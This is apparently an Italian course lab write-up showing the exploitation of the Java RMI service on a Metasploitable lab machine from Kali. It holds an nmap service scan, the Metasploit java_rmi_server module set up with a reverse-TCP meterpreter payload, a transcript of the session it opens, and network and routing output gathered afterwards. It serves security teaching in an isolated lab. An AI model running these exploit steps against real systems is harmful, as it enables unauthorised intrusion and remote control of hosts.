

ESERCITAZIONE S7L5

JAVA RMI

Requisiti dell'esercizio

- Configurare ip attaccante e target
- Scansione nmap per evidenziare vulnerabilità sulla porta 1099
- Raccogliere configurazione di rete
- Raccogliere informazioni sulla tabella di Routing

The image features a dark blue background with decorative elements. In the top-left corner, there are several parallel, slightly curved lines in a lighter blue color. In the bottom-right corner, there are several parallel, slightly curved lines in a lighter blue color, mirroring the design in the top-left.

Configurazione IP

Configurazione degli IP

Con il comando `sudo nano /etc/network/interfaces` configuriamo gli IP come segue:

KALI

```
GNU nano 7.2
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
gateway 192.168.11.1
```

METASPOLIT

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1
```

SCANSIONE NMAP

ENUMERAZIONE DEI SERVIZI

Utilizzando il comando
Nmap -sV 192.168.11.112

Eseguiamo l'enumerazione
delle porte e i relativi servizi
attivi

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 09:38 CET
Nmap scan report for 192.168.11.112
Host is up (0.00069s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; O

Service detection performed. Please report any incorrect results at https://
Nmap done: 1 IP address (1 host up) scanned in 49.93 seconds
```

The image features a dark blue background with abstract geometric line art. In the top-left corner, there are several parallel lines forming a corner-like shape. In the bottom-right corner, there are several parallel lines forming a diagonal shape. The word "EXPLOIT" is centered in the lower-left area.

EXPLOIT

FASE DI EXPLOIT

Avviamo metaspolit

[illegible]

FASE DI EXPLOIT

- Ricerchiamo un exploit utilizzabile sulla porta 1099 – java RMI,
- In questo caso utilizziamo exploit/multi/misc/java_rmi_server

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search java_RMI

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMICConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

FASE DI EXPLOIT

Con *show options* andiamo a visionare quali impostazioni sono necessarie per l'avvio dell'exploit, in questo caso è necessario impostare il target.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. Th
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is random)
URIPATH		no	The URI to use for this exploit (default is random)

```


Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```


Exploit target:
```

Id	Name
0	Generic (Java Payload)

FASE DI EXPLOIT

- Impostiamo il target con *set RHOSTS*
- Avviamo con *exploit*
- Si può notare che l'exploit ha avuto successo, in quanto siamo riusciti ad ottenere una sessione di *meterpreter*

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/5gBZpkFieZ7YX
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:45090) at 2024-01-19 09:41:49 +0100
```

RACCOLTA DELLE INFORMAZIONI

Utilizzando il comando *ifconfig* possiamo ottenere la configurazione di rete

```
meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fe27:8a4d
IPv6 Netmask   : ::
```

RACCOLTA DELLE INFORMAZIONI

Con il comando *route* otteniamo le informazioni sulla tabella di routing.

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe27:8a4d	::	::		